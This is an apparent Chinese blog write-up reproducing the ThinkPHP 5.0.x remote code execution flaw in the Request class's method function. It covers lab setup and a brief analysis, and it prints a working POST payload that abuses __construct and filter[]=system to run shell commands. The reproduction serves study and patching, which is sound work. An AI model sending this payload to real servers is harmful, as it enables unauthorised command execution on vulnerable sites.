天天看點

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

2019 年 1 月 11 日,360CERT 發現某安全社群出現關于 ThinkPHP5 RCE 漏洞的威脅情報,不久之後 ThinkPHP5 官方與 GitHub 釋出更新。該更新修複了一處嚴重漏洞,該漏洞可導緻遠端指令代碼執行。

影響範圍:

ThinkPHP 5.0.x:5.0.x ~ 5.0.23

0X01 環境搭建:

CentOS/lamp

下載下傳源碼包5.0.23,其他範圍之内的版本也是可以的。

解壓到/opt/lamp/htdocs檔案夾,在http.conf檔案添加監聽端口82:Listen 82;在lamp的etc目錄下的虛拟主機檔案中添加環境路徑配置,如下圖所示:

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

添加完畢之後,重新開機lamp服務,通過浏覽器通路:

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

0X2 漏洞分析

漏洞主要出現在 ThinkPHPRequest 類的 method 方法中(thinkphp/library/think/Request.php)

Request 類可以實作對 HTTP 請求的一些設定,其中成員方法 method 用來擷取目前請求類型。

目前官方已經更新到5.4版本:

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

0X3 漏洞利用

抓包複現,完整的資料是:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

得到結果:

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

完整過程:

ThinkPHP 5.0.0~5.0.23 RCE 漏洞複現

成功利用此漏洞的攻擊者可以對目标系統進行遠端代碼執行攻擊。目前,該漏洞的漏洞驗證代碼已在網際網路上公開,近期被利用的可能性較大。請盡快修複。